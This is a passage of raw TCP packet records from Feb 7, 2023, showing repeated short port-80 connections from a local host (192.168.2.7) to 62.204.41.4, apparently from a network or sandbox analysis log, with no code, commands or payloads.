Feb 7, 2023 23:10:04.924091101 CET	80	50382	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:04.925875902 CET	50382	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:04.927710056 CET	50382	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:04.989989996 CET	80	50382	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:04.992121935 CET	80	50382	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:04.993077040 CET	50382	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:05.106108904 CET	50382	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:05.111336946 CET	50383	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:05.168662071 CET	80	50382	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:05.168792963 CET	50382	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:05.173794985 CET	80	50383	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:05.174973965 CET	50383	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:05.178761959 CET	50383	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:05.241059065 CET	80	50383	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:05.245376110 CET	80	50383	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:05.246922016 CET	50383	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:05.356175900 CET	50383	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:05.356937885 CET	50384	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:05.417787075 CET	80	50384	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:05.418770075 CET	80	50383	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:05.418997049 CET	50383	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:05.420068026 CET	50384	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:05.420068026 CET	50384	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:05.480807066 CET	80	50384	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:05.483033895 CET	80	50384	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:05.483325005 CET	50384	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:05.595650911 CET	50384	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:05.596854925 CET	50385	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:05.656553984 CET	80	50384	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:05.656702995 CET	50384	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:05.658128977 CET	80	50385	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:05.658268929 CET	50385	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:05.658909082 CET	50385	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:05.720057011 CET	80	50385	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:05.722368002 CET	80	50385	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:05.722593069 CET	50385	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:05.826339960 CET	50385	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:05.827594042 CET	50386	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:05.887950897 CET	80	50385	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:05.890177011 CET	80	50386	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:05.890414953 CET	50385	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:05.890500069 CET	50386	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:05.891433001 CET	50386	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:05.954003096 CET	80	50386	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:05.956211090 CET	80	50386	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:05.956450939 CET	50386	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:06.060777903 CET	50386	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:06.062170982 CET	50387	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:06.123583078 CET	80	50386	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:06.123821020 CET	50386	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:06.124564886 CET	80	50387	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:06.124825954 CET	50387	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:06.125158072 CET	50387	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:06.187459946 CET	80	50387	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:06.190597057 CET	80	50387	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:06.193161011 CET	50387	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:06.308681965 CET	50387	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:06.310803890 CET	50388	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:06.371325016 CET	80	50387	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:06.371514082 CET	50387	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:06.372262001 CET	80	50388	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:06.372378111 CET	50388	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:06.372796059 CET	50388	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:06.434247971 CET	80	50388	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:06.436383963 CET	80	50388	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:06.436614990 CET	50388	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:06.544451952 CET	50388	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:06.545238018 CET	50389	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:06.608163118 CET	80	50388	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:06.608285904 CET	50388	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:06.608628035 CET	80	50389	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:06.608741999 CET	50389	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:06.609150887 CET	50389	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:06.670583010 CET	80	50389	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:06.672586918 CET	80	50389	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:06.672756910 CET	50389	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:06.777981997 CET	50389	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:06.778744936 CET	50390	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:06.839572906 CET	80	50390	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:06.839627981 CET	80	50389	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:06.839884996 CET	50389	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:06.840404987 CET	50390	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:06.856141090 CET	50390	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:06.918101072 CET	80	50390	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:06.920361042 CET	80	50390	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:06.920573950 CET	50390	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:07.028604031 CET	50390	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:07.029371977 CET	50391	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:07.089457035 CET	80	50390	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:07.089620113 CET	50390	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:07.090866089 CET	80	50391	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:07.091037035 CET	50391	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:07.091831923 CET	50391	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:07.154578924 CET	80	50391	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:07.157641888 CET	80	50391	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:07.157742977 CET	50391	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:07.287345886 CET	50391	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:07.289097071 CET	50392	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:07.348893881 CET	80	50391	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:07.349013090 CET	50391	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:07.350394011 CET	80	50392	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:07.350497007 CET	50392	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:07.350927114 CET	50392	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:07.412213087 CET	80	50392	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:07.414670944 CET	80	50392	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:07.414777040 CET	50392	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:07.529434919 CET	50392	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:07.530508995 CET	50393	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:07.591515064 CET	80	50392	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:07.591658115 CET	50392	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:07.592267036 CET	80	50393	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:07.592411041 CET	50393	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:07.593302965 CET	50393	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:07.655966997 CET	80	50393	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:07.657994032 CET	80	50393	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:07.658098936 CET	50393	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:07.762470961 CET	50393	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:07.763428926 CET	50394	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:07.824022055 CET	80	50393	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:07.824146986 CET	50393	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:07.825705051 CET	80	50394	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:07.825865030 CET	50394	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:07.826262951 CET	50394	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:07.889605999 CET	80	50394	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:07.891798019 CET	80	50394	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:07.891889095 CET	50394	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:07.997137070 CET	50394	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:07.997874975 CET	50395	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:08.059767008 CET	80	50394	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:08.059856892 CET	50394	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:08.060544014 CET	80	50395	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:08.060658932 CET	50395	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:08.061096907 CET	50395	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:08.123652935 CET	80	50395	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:08.126143932 CET	80	50395	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:08.126238108 CET	50395	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:08.255923986 CET	50395	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:08.256751060 CET	50396	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:08.319439888 CET	80	50396	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:08.319766998 CET	50396	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:08.319962978 CET	80	50395	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:08.320122957 CET	50395	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:08.320216894 CET	50396	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:08.383241892 CET	80	50396	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:08.385463953 CET	80	50396	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:08.385555983 CET	50396	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:08.497019053 CET	50396	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:08.505621910 CET	50397	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:08.558648109 CET	80	50396	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:08.559629917 CET	50396	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:08.567491055 CET	80	50397	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:08.570389986 CET	50397	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:08.575838089 CET	50397	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:08.637525082 CET	80	50397	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:08.639832973 CET	80	50397	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:08.643291950 CET	50397	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:08.748156071 CET	50397	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:08.749871016 CET	50398	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:08.811619043 CET	80	50397	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:08.811815977 CET	50397	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:08.812769890 CET	80	50398	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:08.812932968 CET	50398	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:08.813550949 CET	50398	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:08.874917984 CET	80	50398	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:08.877121925 CET	80	50398	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:08.877341032 CET	50398	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:08.981662035 CET	50398	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:08.982462883 CET	50399	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:09.045146942 CET	80	50398	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:09.045208931 CET	80	50399	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:09.045459986 CET	50398	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:09.045856953 CET	50399	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:09.045856953 CET	50399	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:09.107958078 CET	80	50399	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:09.110275984 CET	80	50399	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:09.111484051 CET	50399	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:09.219619036 CET	50399	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:09.220374107 CET	50400	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:09.280035019 CET	80	50399	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:09.281363964 CET	50399	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:09.282640934 CET	80	50400	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:09.282845020 CET	50400	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:09.283190966 CET	50400	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:09.345323086 CET	80	50400	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:09.347635984 CET	80	50400	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:09.347774029 CET	50400	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:09.450640917 CET	50400	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:09.461848021 CET	50401	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:09.514297009 CET	80	50400	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:09.514369965 CET	50400	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:09.525522947 CET	80	50401	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:09.525737047 CET	50401	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:09.526189089 CET	50401	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:09.588521957 CET	80	50401	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:09.590598106 CET	80	50401	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:09.590790987 CET	50401	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:09.700191975 CET	50401	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:09.701005936 CET	50402	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:09.760510921 CET	80	50402	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:09.760790110 CET	50402	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:09.761332035 CET	50402	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:09.762550116 CET	80	50401	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:09.762670994 CET	50401	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:09.822093964 CET	80	50402	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:09.824311018 CET	80	50402	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:09.824446917 CET	50402	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:09.935250044 CET	50402	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:09.936012030 CET	50403	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:09.995037079 CET	80	50402	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:09.995167971 CET	50402	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:09.997445107 CET	80	50403	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:09.997606993 CET	50403	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:09.998023987 CET	50403	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:10.059359074 CET	80	50403	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:10.062766075 CET	80	50403	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:10.062944889 CET	50403	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:10.169675112 CET	50403	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:10.170475960 CET	50404	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:10.230837107 CET	80	50404	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:10.230957031 CET	50404	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:10.231158972 CET	80	50403	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:10.231276989 CET	50403	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:10.231347084 CET	50404	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:10.291585922 CET	80	50404	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:10.293638945 CET	80	50404	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:10.293785095 CET	50404	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:10.410589933 CET	50404	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:10.411312103 CET	50405	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:10.472738028 CET	80	50404	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:10.472853899 CET	50404	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:10.475313902 CET	80	50405	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:10.475434065 CET	50405	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:10.475955963 CET	50405	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:10.541460037 CET	80	50405	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:10.544022083 CET	80	50405	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:10.544106007 CET	50405	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:10.682409048 CET	50405	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:10.684624910 CET	50406	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:10.745045900 CET	80	50405	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:10.745151997 CET	50405	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:10.746228933 CET	80	50406	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:10.746341944 CET	50406	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:10.747493029 CET	50406	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:10.809773922 CET	80	50406	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:10.812560081 CET	80	50406	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:10.812633991 CET	50406	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:10.933890104 CET	50406	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:10.934624910 CET	50407	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:10.996815920 CET	80	50407	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:10.997009993 CET	50407	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:10.997025013 CET	80	50406	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:10.997092962 CET	50406	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:11.016581059 CET	50407	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:11.077537060 CET	80	50407	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:11.081345081 CET	80	50407	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:11.081465006 CET	50407	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:11.200845003 CET	50407	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:11.201747894 CET	50408	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:11.261513948 CET	80	50407	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:11.261636019 CET	50407	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:11.262109041 CET	80	50408	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:11.262238979 CET	50408	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:11.262816906 CET	50408	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:11.325625896 CET	80	50408	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:11.327658892 CET	80	50408	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:11.327790976 CET	50408	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:11.438057899 CET	50408	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:11.438783884 CET	50409	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:11.499955893 CET	80	50408	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:11.500876904 CET	50408	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:11.501338959 CET	80	50409	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:11.501528025 CET	50409	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:11.502083063 CET	50409	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:11.564600945 CET	80	50409	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:11.566924095 CET	80	50409	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:11.567097902 CET	50409	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:11.669841051 CET	50409	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:11.671873093 CET	50410	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:11.731420040 CET	80	50409	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:11.733222008 CET	80	50410	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:11.733486891 CET	50409	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:11.733551979 CET	50410	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:11.734232903 CET	50410	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:11.795608044 CET	80	50410	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:11.797760963 CET	80	50410	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:11.797962904 CET	50410	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:11.913743019 CET	50410	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:11.914500952 CET	50411	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:11.975476027 CET	80	50410	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:11.975620031 CET	50410	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:11.976973057 CET	80	50411	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:11.977134943 CET	50411	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:11.977608919 CET	50411	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:12.040105104 CET	80	50411	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:12.044487953 CET	80	50411	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:12.047647953 CET	50411	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:12.154449940 CET	50411	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:12.155390024 CET	50412	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:12.218491077 CET	80	50411	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:12.219439983 CET	80	50412	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:12.219585896 CET	50411	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:12.219655991 CET	50412	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:12.220069885 CET	50412	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:12.282804966 CET	80	50412	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:12.284826994 CET	80	50412	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:12.285136938 CET	50412	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:12.389707088 CET	50412	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:12.391402960 CET	50413	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:12.452225924 CET	80	50413	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:12.452263117 CET	80	50412	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:12.452466011 CET	50412	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:12.452914953 CET	50413	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:12.452914953 CET	50413	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:12.515291929 CET	80	50413	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:12.518393040 CET	80	50413	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:12.518559933 CET	50413	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:12.625082970 CET	50413	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:12.626018047 CET	50414	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:12.686165094 CET	80	50413	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:12.686412096 CET	50413	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:12.686501980 CET	80	50414	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:12.686656952 CET	50414	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:12.687094927 CET	50414	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:12.747701883 CET	80	50414	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:12.749799967 CET	80	50414	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:12.749953985 CET	50414	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:12.860151052 CET	50414	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:12.872245073 CET	50415	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:12.921040058 CET	80	50414	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:12.921261072 CET	50414	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:12.934065104 CET	80	50415	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:12.934292078 CET	50415	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:12.934992075 CET	50415	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:12.996725082 CET	80	50415	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:12.998701096 CET	80	50415	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:12.998842955 CET	50415	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:13.107508898 CET	50415	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:13.109261990 CET	50416	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:13.169605017 CET	80	50415	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:13.169725895 CET	50415	80	192.168.2.7	62.204.41.4
